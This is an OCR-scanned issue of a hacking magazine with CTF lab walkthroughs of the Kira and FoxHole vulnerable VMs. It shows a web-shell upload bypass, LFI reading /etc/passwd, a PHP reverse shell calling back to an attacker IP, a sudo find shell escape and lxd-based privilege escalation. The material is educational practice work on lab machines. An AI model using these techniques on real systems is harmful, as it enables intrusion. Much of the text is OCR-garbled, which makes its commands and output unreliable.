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Then you will know the truth and the truth will set you free.
John 8:32

Editor's Note

Hi Hackercoolians. We hope we have not kept you waiting too long.
We also hope you are all awesome and safe. This is our October 2020 Issue an
-d we are pretty disappointed to release it. This Issue commemorates the fourth
\anniversary of the release of our Magazine. Yes, our First official Issue came o-
In October 2016. Our October 2016 Issue is one of the most popular Issues and
s still available for free on our website. We had many plans for the Issue comm
-emorating the fourth anniversary which turned awfully duds. Yet here we are
with our Issue.
Although most of our plans went wrong, we made sure to make it informa
-tive to our readers. When we started this Magazine four years back, Adult Frie-
ind Finder lost around 412.2 million records of data to hackers. This was 20 yea
-rs of data and included names, email addresses and passwords. These passw
-ords were protected by SHA-1 hashing algorithm which is considered weak. Its
safe to presume that by the time this data breach was public, most of these pas
iswords might have been cracked. In these four years, we only saw these data
Ibreaches increasing. From the DNC to Yahoo, we have seen empires rising an-
Id falling.
By 2020, it is estimated that the cost of a data breach will be 150 million do
-llars. The number of phishing websites rose over 130.5%. Hackers are attackin
-g every 39 seconds, on average 2,244 times a day. But still cyber security awa
-reness seems to be decreasing among users and companies alike. October is
considered as Cyber Security Awareness Month every year. The irony is that
October 2020 is the leakiest month ever recorded with 117 publicly reported se
-curity incidents. There is an immediate need to improve cyber security awaren-
less among users and employees alike. We promise that our Magazine will cont
-inuously strive to improve these among our readers. Thanking all our readers
for your continuous support.
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“IF SOMEBODY'S HACKING YOU, YOU DON'T WANT THEM TO KNOW THAT YOU KNOW. "
- NANCY PELOSI
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DATA BREACH -PART 1

REAL WORLD HACKING SCENARIO

BACKSTORY

A company had a small website with minimum features for their purpose. They t-
hought they would be the last target on any hackers mind as they don't have anythin-
for hackers on their website. On an usual Monday, employees of the company were
going on with their routine duties while their website was being silently hacked. They
would not know anything until some days.......

/

LAB SETUP

This Lab uses two software. They are ,
1. Kali Linux 2020.3

2. Kira CTF (https://www.vulnhub.com/entry/kira-ctf,594//)

Both these systems are installed and configured on the same network (either NAT or Host-
pnly network). Kali Linux is the attacker system while Kira CTF is the target.

SCENARIO
STAGE 1 : RECONNAISSANCE

I, | am Hackercool. As | was going through the internet, | found a website which was too si-

.+

uptload language

It just had a upload button and a language button. The upload button gave me some thought
s about file upload vulnerability. | wanted to test this site had any file upload vulnerabilities.

& 0

Select image Browse No file selected

Upload




tried by directly uploading a php shell to the upload page.

F""L"* BT h.:!' i ."It"-llh tfldﬂ'.;."_- x +

« (S A 192 168.36.164
1

Kab Linux Kali Training Call Tools = Kall Docs Kali Forums NetHunter § Offensive Security = Exploit-DB = GHDB | MSFU

As expected, the upload failed but the error message slipped up an important detail.

PHP File type checkexample X <+

« C @ ) 192.168.36.164

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter || Offensive Security = Exploit-DB = GHDB |

Select image

File is not image

he message says the file | uploaded is not an image. So, only images can be uploaded. | p-
erformed a nmap scan on the target to see if it has any other ports open.

t has only one port open, the port running the web service. Nikto too failed to get anything o-
the target.




ran dirb to find any interesting directories.

+~$ dirb http://192.168.36.164

DIRB v2.22
By The Dark Raver

START_TIME: Mon Nov 30 05:44:34 2020
URL_BASE: http://192.168.36.164/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—== Scanning URL: http://192.168.36.164/

+« http://192.168.36.164/index.html (CODE:200|SIZE:163)

+ http://192.168.36.164/server-status (CODE:403|SIZE:279)
=% DIRECTORY: http://192.168.36.164/uploads/

—— Entering directory: http://192.168.36.164/uploads/ —
(!) WARNING: Directory IS LISTABLE. No need to scan 1t.
(Use mode '-w' 1f you want to scan it anyway)

END_TIME: Mon Nov 30 05:44:39 2020
DOWNLOADED: 4612 - FOUND: 2

9 l

Dirb did not give me anything new apart from the index page and uploads directory. | want
ack to the uploads page and uploaded a JPEG image file to further observe its behavior.
PHP File type checkexample X +

g > C @ D 192.168.36.164
Kall Linux Kali Training Kali Tools = Kall Docs Kali Forums NetHunter | Offensive Security = Exploit-DB = GHDB | MSFU

* PHP File type checkexs: X +

QE X @ 1 192.168.36.164
Kali Linus Kali Training  Xali Tools = KaliDocs  Kali Forums NetHunter | Ofensive Security ~ Exploit-DB ~ GMDB | MSFU

Seloct image :  Browse.  Nofile selected

Tramferr ing data from 192 168 36 164




I'he upload is not only successful but actually even the path of the Tocafion where the Tile is
ploaded is being displayed.

b

Select image Browse No file selected

DlLoag

Uploaded 1]

name : uploads/foxy.|peg

This gave me an idea. What if | am successful in uploading the php web shell by adding jpeg
extension to it. This is known as double extension method of uploading files.

Select image Browse

Uploaded !!!
name : uploads/foxy.)peg

he upload is successful.
by ol . +

= C @

Index of /uploads

Name Last modified Size Description

a Parent Director
S foxy.peg 2020-11-30 19:17 93K
S php-backdoor.php.jpeg 2020-11-30 19:19 2.7K

Apachey2 4.29 (Ubuntu) Server at 192.168.36. 164 Port 80

But while accessing the uploaded webshell, | got an error as shown below.

50 even though | am successful in uploading the web shell, | can't weaponise it. | decided to

urther enumerate the website. There's another button named "language” on the website.
7 168 3% 164 ’ +

« C @




Arler a few clicks, | found an url.

(] =

anquage

| decided to test for any local file inclusion (LFI) vulnerability in this url.

2> C e

Ea

LANJUS O

After some trial and error, | finally found it. This url is definitely vulnerable to LFI.

Ll

I.'- t;}

rootl:x:0:0:rootz/root/binvbash daemon:x: 1 ;1 :daemon:/usr/sbin-/usr/sbin/nologin bin:x:2:2:bin/binusr/sbinvnologin sys:x:3:3.sys/dev/usr/sbin uu ogin

sync:X:4:6553M sync/bin/bin/sync games:x:5:60.games:/usr/games:usr/sbinnologin man:x:6: 1 2:man:Nar/cache/man:/usrisbinvnologin lp:x:7: 7 dpvarfspoolipd:fusr
fshinmologin mail-x:8:8:mail-var/mail:usr/sbin/nologin news:x:-9-9:news: Nar/spoolmews: usr/sbin/mologin uucp:x: 1 0:10-uucp:Nvar/spool/uucp fusr/shin/mologin
proxy:x: 1 3: 1 3:proxy /hinusr/sbinvnologin www-data x: 33 33 www-data /var/www Jusr/sbin/nologin backup x:34:34 -backup:var/backups: usr/sbin/nologin
list:x:38:38:Malling List Manager /var/list:usr/sbin/nologin ire x:39.39%:ired Nvar/runired Jusr/sbhin/nologin gnats:x:41:4 1 :Gnats Bug-Reporting System (admin):var
Mlib/gnats fusr/sbin/nologin nobody x:65534 465534 .nobody /monexistent Ausr/sbin/mologin systemd-network:x: 100: 102 systemd Network Management. ., /run/systemd
metif-fusr/sbinvnologin systemd-resolve-x: 101 :103:systemd Resolver, ., /run/systemd/resolvejusrisbin/mologin syslog:x: 102:106: /home/syslog:-/usr/sbin/nologin
messagebus x:103: 107 /monexistent usr/sbin/nologin aptx 10465534 /monexistent usr/sbhinmologin ouldd - x:105:1 1 ] . J/runjuuidd - Jusrsbin/mologin avahi
autoipd-x:106:112:Avahi autoip daemon.., varAib/avahi-autoipd. /usr/sbin/mologin usbmux:x:107:46:usbmux daemon. .. Nar/libjusbmux:/usr/sbin/mologin

dnsmasq:x: 10865534 .dnsmasq.., /var/iib/misc usr/sbin/nologin rtkit:x: 109:1 1 4:Realtimekit, , /proc/usr/sbin/nologin cups-pk-helper:x: 1 10:116.user for cups-pk-helper
service, ., /home/cups-pk-helper-fusr/sbin/nologin speech-dispatcher:x:1 1 1:29:Speech Dispatcher, . var/run/speech-dispatcher/bin‘alse

whoopsiex:112:117: /monexistent:/binffalse kernoops:x:113:65534:Kernel Oops Tracking Daemon, . /:usr/sbin/nologin saned x:114:119: ~var/lib/saned fusr/sbinmologin
pulse-x:115:120:PulseAudio daemon, ... ~NVar/run/pulse-usr/sbin/mologin avahi:x:116:122:Avahi mDNS daemon, ., /var/run/avahi-daemon:/usr/shin/nologin
colord:x:117:123:.colord colour management daemon,,, /Var/lib/colord:/usr/ -hmru login hplip:x:118:7:HPLIP system user,,, Nar/run/hplip/bin/false

geoclue:x:119:124. Nar/lib/geociue /usr/sbin/nologin gnome-initial-setup-x: 1 20.65534 .. /run/gnome-initial-setup/./binfalse gdm:x:121:125:Gnome Display Manager /var

lib/gdm 3. /binfalse bassam x: 1 000:1000:Bassam. ., /home/bassam/bin/bash vbhoxadd x-999: ] - Nar/run/vboxadd . /bin/false

sing this LF| vulnerability, | think | can view the files | uploaded using the RFI vulnerability.
irst, the foxy.jpeg image file.
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I hiS required another trial ana error 1o find out the location of the web server root directory.|
an successfully see the image (goxy.jpeq) file | uploaded. Now time to view the php shell |

ploaded.

Lri

€« C e

Kall Lirg Kali Training rA OHY

SETHUNTET || UITENSIVE SECUNTy

il ($handie = opendir(“$d”)) { echo

listing of $d

while (Sdir = readdiri$handle)){ i (is dir("$d/$dir*)) echo : &cho “Sdir\n”®: echo

ood. However, this shell is limited. So, it's time to upload the php-reverse-shell to the target
and weaponise it.

Modified

GNU nano 4.9.3 php-reverse-shell.php

me Limit (0);
- "1.0%;
'192.168.36.158" ;
1400;
null:
null;
‘'uname -a; w; id; /bin/sh -1';

PHP Eile type check example X +

L C @ 192.168.36.164

RaL) Linux i,.l-t ...,]-.U-n;'

H--lfﬂl { Image ChL php-reverse-shell php.jpg

File is not image

PHP File type check example X -

é C.l Q 192.168.36.164

li Docs Kali Forums NetHunter § Offensive Security Exploit-DB =~ GHDB § MSFU

Kaki Lirux Kall Training

Select image Browse Vo file selected

Uploaded !1!
name : uploads/php-reverse-shell. php.ipg




L o X @ 192.168.36.164

Kall Lirx Kall Training Kall 1001S = K3l Docs KAl HOrums NetHUNte!r | UTTensive Security S Explot-UB S GHUB | MSFU

his successfully gave me a shell on the target.

lookup failed: Unknown host
(UNKNOWN) [192.168.36.164] 43628
1C 830~18B.04.1-Ubuntu SMP Fri Jan 17 06:14:1

-

. Load average: 1.06, 1.03, 1.04
FROM LOGING IDLE ICPU PCPU
-0 19:06 'xdm? 31:4) 0. ‘'usr y/gdm3/gdm-x-session
ONOME _SHELL _SESSION MODE=ubuntu gnome-session
Rld=33(ww-data) groups=33{ww-0data)
t access tty: job control turned off

I\ww-0data) gld=33(ww-0ata) groups=33(ww-0a
name -a
passam-aziz

x86 64 GNU/Linu

$ chmo

$ Ls

PE.Sh

$ ./PE.sh

TERM environment variable not set.
EERBBEBARIR/ZER PE Linux

supgssuassssy By WazeHell
EREREARERENEs Reporting Directory : /Report

write error:

o i % - - - - 5
L.n let- :‘J::‘kirr \.En.ll. - ¥

86 64 xB6 64 GNU/L1Im

PE.sh failed to get any positive results or any passwords.




:-’E ST
Reports
passwordfiles.txt

3 cal [U*HHhIHT!fliP11' xtl

Since | am running as www-data user, there will be no SUDO privileges. So | started a long p
rocess of enumeration to find a way to elevate privileges. As part of the process, | found a
backups directory in the "var” directory.

ut that didn't have any interesting files.

$ cd backups

$ Ls
alternatives.tar.®
apt.extended_states.@
gpkg.arch.©
dpkg.arch.l1.¢z
dpkg.diversions.©
gpkg.diversions.l.gz
dpkg.statoverride.o
dpkg.statoverride.1.4¢2
apkg.status.@
dpkg.ste

group.bak

gshadow.Dak
passwdad.bDak

shadow.Dak

i

As | performed further enumeration, | found a file named "supersecret-for-aziz" in the /www/
tml directory.
$ CaO W
$ 1s
html
$ ¢d html
$ ls
index.html
Language.pho
supersecret-for-aziz
upLoaa.pnp

uplLoads
-

s




at directory, a passam-pass.ix
ch appeared to be a password.

supersecret-for-aziz

supersecret-tor-aziz: 1s a

supersecret-tor-aziz

'1‘5.‘|T
1IASSAM-NDASS . T

)4

he file suggests that this is the password for bassam. Is this the password for user named
'‘bassam”? | login as user "bassam” with the password | just got and the login is successful.

import pty:pty.spawn(”

open f1le 1mport

-C "import pty:ptv.spawnl /bin/ba
M -Calanbassam-d4Z21l 2. /¥ar/ ma/ Nimi/su
SU Dassam

rassword: pJ“'!h’H."If!IJ-?'I.:-:::

-

owever, | still don't have root privileges. When | saw what SUDO privileges this user has, |
ound out that he can run the find command as root.

= m T ol T ol o - -, - r a
/v /html/supersecret-for-aziz$!sudo -1

ssam: Passwordl23!os

ts entries for bassam on bassam-aziz:
malil badpass,
fusr/local/sbin\:/usr/local/bin\:/usr/sbin\:
ser bassam may run the following commands on bassam-aziz}
(ALL : ALL) /usr/bin/tind
va

r/ww/html/supersecret-tfor-aziz$s I

As far as | know, that's too simple by now.

ssamibassam-aziz:/var/ww/html/supersecret-for-aziz$ sudo find . -exec - =Qquilt
et-for-aziz$ sudo find . -exec /bin/sh \: -quit

DassamgbDassam-azlz;

0t) g1d=0(root) groups=0( root

. i i U\
ow, | have root privileges on the target system.

All-0t-THEM-31337}

To be Continued..........




FOXHOLE : 1.0.1 N

CAPTURE THE FLAG

| You may take numerous courses on cyber security and ethical hacking but you
'will not hone your skills unless you test you skills in a Real World hacking environme |
=nt. CAPTURE THE FLAG scenarios and VM labs provide the beginners and those wh-
o want a real world testing lab for practice. These scenarios also provide a variety of
challenges which help readers and users to gain knowledge about different tools and
methods used in Real World penetration testing. These are not only useful for beginn-
ers but also security professionals, system administrators and other cyber security
enthusiasts. We at Hackercool Magazine strive to bring our readers some of the best
CTF scenarios every month. We suggest our readers not only to just read these tutori
-als but also practice them by setting up the VM.
Like other articles of our magazine, this article too has been written so thatitis

easily understandable to beginners. To make this more simple, this article has been

\ replayed as a challenge being performed by an amateur hacker.

N

[

Hi Hackercoolians. | am Mala and in our present Issue, | bring you the CTF challenge of Fox
Hole 1.0.1. This machine is authored by "purpl3fOx". The author says it it is an "easy to inter-
mediate"” which is easy to gain access but a bit complex to escalate privileges. The reason |
iIchose this machine for you is that it is based on steganography and our readers did not have
any prior interaction with a CTF machine that is based on steganography. For the beginners,
Steganography is the art of hiding information in plain sight. The machine can be downloade-
id from the given link below.

https://www.vulnhub.com/entry/foxhole 101,566/

This machine is working fine in both Virtualbox and Vmware and it is set to get |IP address au
~tomatically as DHCP is enabled. So | fire up both target and attacker machines and perform
a SYN PING scan on the target to find the IP address of my target.




As you can all see, the target IP address is 192.168.36.159. The verbose scan of Nmap reve
aled that the target is running only two services : SSH and HTTP. | started by searching for
any vulnerabilities related to the version of SSH running on the target. Searchsploit failed to
Ind any vulnerabilities.

:~$ searchsploit openssh

Exploit Title
vebian D H (Authenticated) Remote SEL1Inux Privil ege Es inux/remote/60094 . txt
uropbear / 0O H Server "MAX_ _UNAUTH_CLIENTS® Denial of S multiple/dos/1572.pl
FreeSD - H 3.5pl Remote Command Execution treebsd/remote/17462.txt
glibc-2.2 enssh-2.3.0pl glibc 2.1.9x - File Read Linux/local/258.sh
Novell Netware 6.5 ‘ H Remote Stack Overflow novell/dos/14866. txt

1.2 - ".scp File Create/Overwrite Linux/remote/20253.s5h

. 45233.pY

Username Enumeration (PoC) inux/remote/45210.py

Username Enumeration Linux/remote
}1.0.1/3.0.2 Channel Code Off-by-One unix/remote/21314.txt
3.Xx - Kerberos & TGT/AFS Token Buffer Overtlow inux/remote/21402.1txt
- Challenge-Response Buffer Overflow (1) unix/remote/21578.txt
- Challenge-Response Buffer Overflow (2) unix/remote/21579.txt

i

pl - Duplicated Block Remote Denial of Serv
6.9 - "PTY  Local Privilege Escalation linux/local/41173.c
Denial of Service linux/dos/ 40888 . D
Authenticated) xauth Command Injectior multiple/remc
- Username Enumeration Linux/remote
y SFTP (x64) - Command Execution linux x86-64
.6 SFTP - Command Execution Linux/remote/
UsePrivilegeSeparation Disabled’ Forwarded Linux/local/
agent Protocol Arbitrary Library Loading Linux/remote/
H%FF Enumeration (.2 | linux/remote/4
Lient - Write Arbitrary Files multiple/remote

J.6.1pl ‘"gossh.sh’ Remote Users Ident Linux/remote

nultiplLe/dos/ 2646,

-

1.0.1p1 - Remote Users Discovery 100 lLinux/remote

Jsername Enumeration linux/remote

3.6.1p-PAM/4.1-SuSE - Timing Attack multiple/remot

Fhol o L plow i Wet

&« cC e

Kali | irwos i Training Kali Tools & Kall Docs Kal Forums NetHuter | Offersive Security = Exploit-DB « GHDA § MSFU

Photosen

7Y

SR EMTTTY as

he website appears to be a collection of images classified according to their genre. The gen
res include people, animals, sports, architecture and nature etc. That's a wide range of genr-
es involved here.




Photosen — Colorlib Wet X +

* c 0 192,168 36 159

-

Kall Lirwn Kali Training Kali Tools = Kall Docs Kali Forums NetHunter | OMensive Security & Exploit-DB = GHDB | MSFU

Portrait Gallery

+ . c 0 192 168 36 159

Kal Lings Kall Training Kali Tools = Kali Docs Kali Forums NetHunter § Offensive Security ~ Exploit-DB »~ GHDB § MSFU

Architecture
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DIRB v2.22
By The Dark Raver

START_TIME: Thu Oct 2
URL_BASE: http://192.
WORDLIST_FILES: isr/share/dirb/wordlists/common.

GENERATED WORDS: 4612

Scanning URL: http://19.2.
=% DIRECTORY: http://192
=35 DIRECTORY: http://192.1




{ 1

Dirb found two directories which may help me in solving the challenge. The first one is that of
phpmyadmin and second directory is the file robots.txt. Is this going to be a popular phpmyad
-min vulnerability? Let me see.

php
Welcome to phpMyAdmin

r Langusge

Emg ik ¥

oy
(ST ™ T ]
Passwurd

However, the phpmyadmin directory is the image of the login page of phpmyadmin. The robo
ts.ixt file has an entry named "secret.html".

6 e Q 192.168.36.159

Kali Linux Kali Training Kali Tools *= Kali Docs Kali Forums NetHunter | Offensive Security = Exploit-DB GHDB | MSFU

However, the secret.html is a rabbit hole.

Jebaited




By the way, the word "jebaited” means getting trolled or tricked. The word originated on Twitc
-h, a live streaming platform of gamers. Twitch has a chatroom where streamers and their fa-
ns interact. It is here that emotes came into existence. Emotes are just like emojis you use in
day to day chatting. The jebaited emote in twitch came from Alex Jebailey, a community orga
-nizer. This "jebaited” emote is quite popular on twitch. So the author of this CTF trolled me

with this particular emote. It's high time | run nikto.
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Portions of the sery neaders Apacl
1. Would

the N1kto 2.1.6 database or are newer thair LIIE
T_ I.T.I-- 1? Tl !.I" .-h+1 :- l_*"‘l T8 ' diln L . &= i X' i r .T.-P- & | }'F_‘_i..lr.'[

€« c 0 i) 192.168.36.159
Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter { Offensive Security = Exploit-DB = GHDB | MSF

v Exploit-D8

; Offensive Security

Try harder~ There's no admin panel here~




owever, [ have been once again trolled to try hard to find the admin page since this is not it.
he only clue | have till now is "colorlib” about which | found in the "README.txt:" file but the

e are no exploit modules related to "colorlib".

o g U1 iU entres (TRere) T

No matching records found

L,

— e
.‘\

( L
O - |'r.ttunnan
5\ 4

—

IAll doors appear to be closed. There is one directory with name "images" with a lot of image

-S In it.

Index of /images

Name

() big-images
W [oxypeg

N foxy Lipeg

S here bg 1ipg
W here_bg 2.pg
S hero _bg 3.1pg
N img_Lipg

N img_2.)pg

N imag_3.Jpg

S img_4.0pg

W img_5.)pg

N img_0Jpg

N img_7.lpg

Last modified Size Description

2020-08-22 19:27

2020-09-09 15:13 93K

2020-09-09 15:45

29K

2018-09-17 01:00 339K

2018-09-17 02:37 2

1K

2018-09-17 0503 312K
2020-07-17 02402 160K

20200717 0203 260K
2020-07-17 02:03 219K
2020-07-17 02:04 145K
2020-07-17 02:04 159K
2020-07-17 02:05 152K
2020-07-17 02:06 363K
S nature small 1ipg 2018-12-06 21:07 122K
W nature small 2.ipg 2018-12-06 21:09 343K
W nature small Jipg 2018-12-06 21:07 52K
W nature small 4.pg 2018-12-06 21:06 138K

W nature small 5.ipg 2018-12-06 21:06 151K
j pature small 6.ipg 2018-12-06 21:05 172K
W nature small_7)pg 2018-12-06 21:05 115K
W nature small 8.ipg 2018-12-06 21:04 108K
j nature small 9.ipg 2018-12-06 21:03 152K

N person_Lipg
W person_2.1pg
W person_3.pg
$ person_4.4pg
N person_5.pg
W person_6.0pg
S php.png

$ purplox.ipg
% smug.png

W png

2018-09-16 19:28
2018-09-16 19:41
2018-09-16 19.28
201809-16 19:46
2018-09-16 1948
2018-09-16 19:53
2020-09-09 19:19
20200909 15.08
20200909 15:13
20200909 15:13

42K
75K
28K
Bk
85K
85K
K
WK
13K
25K




decided to check the source of all webpages as last resort.

«'DOCTYPE NTWL MUBLEC “-/ /e /0T WL 3.2 Fisal/ /W >
«hitml =
« b ad -
stitle=lndes of /imagei=/title=
o e -
- body -
=hi=|ndes of /images«/hi=
table-
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hen | viewed the source of admin.htmi webpage l thlnk | got a clue at the end of the page.

allyr =

i =
alyrs
1 -.fn.-
afpr s
.-.r ¥
e
e s

algr -
il f »
afpr
aiyr =
aflyrs
alpr =
alpr =
TR
allys »
it
1
aiars
wlyf =
apre
-.r-
afgrs

e

ll.fl
I afprs
afmr e

«g> Maybs tahs & nice *desp” ook ot that one purple Tos pictere! | deww. </
4/ cemters

q.'“'.-

The hint is like this. 'Maybe take a nice "deep” look at that one purple fox picture? | dunno.'

<br>
<br>
<br>
<a> Maybe take a nice *deep* look at that one purple fox picture? I dunno. </a>

</center>
e tbhadc.,

All your doubts, queries and questions related to ethical hacking and penetration
testing can be mailed to
editor@hackercoolmagazine.com
or you can get to us at our Facebook Page
Hackercool Magazine
or
tweet us at @hackercoolmagz




immediately opened the Images webpage and opened the image with an identica
purple fox. This is an image of the purplefox but what caught my attention was the binary bits
of 1's and O's.

Is this some kind of code we need to decode? After a bit of contemplation, | decided to use t-

he tool steghide to check if the image is hiding something,
. Downloads sudo apt- i._'[f' inst 10 stechide

coul 1-1- .::ut extract
:~/Downloads$ §
hen | tried to extract data from this particular image, it prompted for a password. When | en
tered with the empty password, it failed to extract anything. | didn't find any other lead that c-
an give me the password. While | was observing all the images, | found there were other ima
ges of purplefox. | downloaded the image with name "foxy" and tried to extract the data insid
e It with steghide again.




ere was another image of purplefox named foxy1.jpg.

However, this time, steghide extracted a text file named "msqg.txt".

/Downloads$| steghide extract -sf foxyl.jpeg
Enter Dasspnrase.

h'l!-'l‘*' t‘lTI.: TI'"] 4
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My personal experience in solving numerous CTF challenges taught me that if there is any h-
ash that hash-identifier failed to identify. there is a majority chance that the hash is a base6t4
hash. So | decoded the hash with base64 decoding to see if | would get anything meaningful.

/Downloads$ ca _
NIYXAZZFROMOYw ':'['.i:'_'h'l DLUNL l_ \V
'‘Down loads$

P_::'U‘-HHJ | € |

he baseb4 decoding revealed the text of the hash as something like "you escaped the fox
hole". This is not only meaningful but also relevant. After encountering so many fox holes, it




eems | finally escaped the foxhole. It also revealed the username as "fox". There is only on-
e place where | can try logging | with these credentials, the SSH service.

$ nmap -sT 192.168.36.
Starting Nmap 7.80 ( https://nmap.org 11 08B:1°F€
Nmap scan report for 192.168.36.15¢
Host 1s up (0.0027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
)

22/LCD oOper ssh

S0/tCp opel nttp

Nmap done: 1 IP address (1 host up) scanned

o * .

he login was successful and | am inside the machine.

3 ssh fox@192.168.36.159
The authenticity of HOSt " 192.168.36.159 (192.168.36.159)"' can't

ECDSA key fingerprint is SHA256:SztZIRkHgué4lLeTtx7+sQB84yrrsiNhZvsj

1
Are you sure you want to continue connecting (yes/no/| ringerpran

Please type ‘'ves', no or the ¥1f*5ﬁ513r}H1 : vVes
Warning: Permanently added 192.168.36.159° (ECDSA)
tox@192.168.36.159"s password:

Permission denied, please try again.
fox@192.168.36.159"s password:

Permission denied, please try again.
fox@192.168.36.159"'s password:

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.470-47-generic

* Documentation: ttps://help.ubuntu.com

* Management: ittps://landscape.canonical.con
|

support.: )S . jbuntu.com/advantage

updates can be installed 1mmediately.
P updates are security updates.

ese additional ipdates run: apt list --:Hﬂfiﬂﬁﬁ]ﬁ

-

Your Hardware Enablement Stack (HWE) S sSupported unti April 2025.
%% System restart requl

Last Lot : Thu Sep 10 14:05:53 2020

fox@aFoxMHole:~$ 1d

uld=1000( fox) ge1d=1000( fox) groups=1000( fox),4(adm),24(cdrom),27(sudo),30(d1ip),46(plugdev), 120
lpadmin),131(1ixd),132(sambashare)

| ran the id command and immediately noticed that the user fox is part of both sudo and Ixd
groups. However, when | checked if the user had any SUDO privileges the system prompted

reg %

fox@FoxHole:~$ sudo

| sudo ] password for

Sorry, user fox may | run sudo on FoxHole,
fox@FoxHole:~$ sudo

[sudo] password for

sorry, user fox may 1 ‘un sudo on FoxHole.
foxdFoxMole:~$ sudo

'_Jljﬂu—l * command not

fox@FoxMole:~$ sudc

[sudo] password for

s0rry, try again.

sudo] password for fox:

Sorry, user fox may not run sudo on FoxHole.

fox@FoxHole:~$ .

fO> 'Fl'i‘r.f’i-.'}lw: ?, SUQD s
|sudo ] password for ftox:

fox 1s not in the sudoers file. This incident will be reported.

foxaFoxHole: S .




er as shown below.

*S sSuao k) 11

|SuUdo | passwordad
1_‘1'*”‘ Lll."!'q*‘

Enumerating

-

remote.:
remote:
Lfﬂdﬂhl”g oblects: 1

= SPE-Li1nux

Linux

/PE~-L11
Determining the late
Using static apk fro

Downloading alpine-k

o}r I ¢ .-..- no LIt (NOWT

-

tar: Ignoring unknow
tar.
tar.

ar: noring unknown

tar: Ignoring unknowi

ar: Ignoring unknow
tar: now

Now

. T = S |

Ta -.“.T‘I'I

IN<NOw

-
-
-
-
-
-

nkNnow

- —. 1‘ I..l L ] " |’ ‘-:.:

!:h--l-::.iﬁl

privilege escalation since the user IS a member of IXd grou-
p. Lxd has a vulnerability that can give us root privileges. For this, we need a Ixd alpine build-

Kall:
ne-buillder’

objects: 27,

lta ), reused

00% (27/27)

$ 1s

pE‘:h

4 |

ixd-alpine-bui

st release...

m http://dl-cdn

eys- '-10.3Dk

-

n extended header keyword APK

extenden
extenaeq
extenaden

.,_i'.T_._..-" :‘.f

| ..;T.-r"l

e.{t‘:-.--l-'-

n extenge

[ extTendacs

extenaes

I l‘"._T_t_"'!l_i""

n extendean

extenden nheader kev i "APK

clone

README . md

lder$ sudo

12

.alpinellrs 1/alpine
100LS.c
TOOLS .c
"APK-TOOLS. cl
"APK-TOOLS.

"APK-TOOLS.

"APK-TOOLS .«
"APK-TOOLS.cl
"APK-TOOLS.c
"APK-TOOLS.c
"APK-TOOLS.c
"APK-TOOLS.cl
"APK-TOOLS.cl
"APK-TOOLS.cl

ca ‘rtiricates-bunadle
ng Libtls

ssl _client (1.

z1l1ib (1.2.11
(2.190.5-r1)
yDOxX-suld (1.31.
ybox-1nitscripts |

post-1install

.standalone (
apk-tools

. - - w - ] s}
> _r : i.l f:' s i - .
-

2.6-1r0)

elLt
-Utl

*19.trigger
Linux/1xd-alpine-builders

111_0940.tar.gz2
-CIAUX7TXE-3PThe-builders

LICENSE README .md

build-alpine

tar image to the target system.

foxaFoxHole: http://192.168.36.158:8000/1xd-alpine-bul 2-1686-20201111
ﬁﬂuﬂ.Tﬁr.g

2020-11-1
11 0940.tar.

nect | H-._"f L0

.30.158:8000/ 1 xd-alpine-Dbi 1686-202011
28:8000 ...

jest sent, awalting response
3.1M) [application/gzi
12-1686-20201111

319998 /7

‘alpine-v3,.

1686-20201 100%]|

(35.2 MB

1686-20201111




owever, while importing, | found that Ixd Is not installed on the target.

foxdFoxHole: $ Lxc image import alpine-v3.12-1686-20201111 0940.tar.gz
Command 'lxc’ ot found, but can be installed with:

Gl.i|1:| en dp n 1 l . "1
sudo apt I Ixd-installer
sudo apt n | 1xd

See "snap 1nf« xd' for additional
foxaFoxHole:

As | don't have SUDO privileges on the target system, | need to find some other way to eleva
te privileges. While enumerating the directories, | found a file named GiveMeRootPIz on whi
ch root has rights. Is this my way to get root or another foxhole?

fox@iFoxMole:-$ pwd

/home/fox

fox@FoxMole:~$ ls

GiveMeRootPlz

foxdFoxHole:

total 52
Qrwxr-xr-»x

grwxr-xr-x 2
drwxr-xr

I'WSIwWXI-X "00 L 1588 9 19: GiveMeRootPlL2z
drwxr-xr-x 2 fc

ArwXIwXr-=X
OrwXr-xr-x
Arwixr-xr-x .
OQrwXIr-=Xr-Xx

ITWXI-XI'=-X .

foxaiFoxMole:

| found the GiveMeRootPIz as an executable and when executed, the result was something i
ke below.

fox@FoxNole:~% fi1ile GiveMeRootPlz

GiveMeRootPlz: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so0.2, BulldID[shal]=f70605a20537a577f0ae7253c0231ca4d6f7abb6,
for GNU/Linux 3.2.0, not stripped

fox@FoxMole:~$ ./GiveMeRootPlz

DO you want the root password’yes

You didn't convince me

Maybe you should write me a =very Lon reason why I
r !

toxaFoxHole:-$ .

he last part of the message suggests there may be a buffer overflow vulnerability in this or
his may be another foxhole. The strings command resulted in some interesting output.

fox@FoxHole:~$ strings GiveMeRootPlz
lib/ld=-1inux.so0..Z

L1bcC.50.€

10 Sstdin used

puts

printt




pgisterTMCloneTable

/Jo1Nn/Dasn
DO YOoU want the root password?
You didn ' t convince me!
Maybe you should write me a =very long+ reason why I should give you the password
gx2%"
GCC: (Ubuntu 9.3.0-10ubuntul)
Crist 1tf.c
deregister tm clones
do _global _dtors_aux
completed.7621
__do_global _dtors_aux_fini_array_entr
frame daumm

o

lz.cC

v
frame dum
GiveMeRootP

FRAME _END

__1nlt_array_end
_DYNAMIC
_1nlt_array_start
__GNU_EH_FRAME_HDR
GLOBAL OFFSET TABLE
Libc_csu_fim
setresuldaaGLIBC 2.0
ITM_deregisterTMCloneTable
__nhh,gwt_ﬁf_!“;nh,h-
printfgaGLIBC 2.0
getsaaGLIBC 2.0
x86.get_pc_thunk.bp
_egdata
geteuldaaGLIBC_2.6€
getegidaaGLIBC_2.0

x86.get_pc_thunk.dx

-

cxa_finalizeagaGLIBC 2.1
overflow

l:",.:?lf."!_ Sstart
putsaaGLIBC 2.0
systémaaGLIBC 2.0

gmon_start
r‘f%i'!_'“-.'%'.lﬂ (3]
- I0 stdin _used
secret
L1ID0C start_mainaoGLIBC 2.0
Libc _csu_1init
fp hw

bss start

he puts and gets commands are vulnerable to buffer overflow. Not only that there is also a
command /bin/bash being called by this program. Since it is running with root privileges, we
an get a root shell. First let's confirm if there is indeed a buffer overflow vulnerability here. W
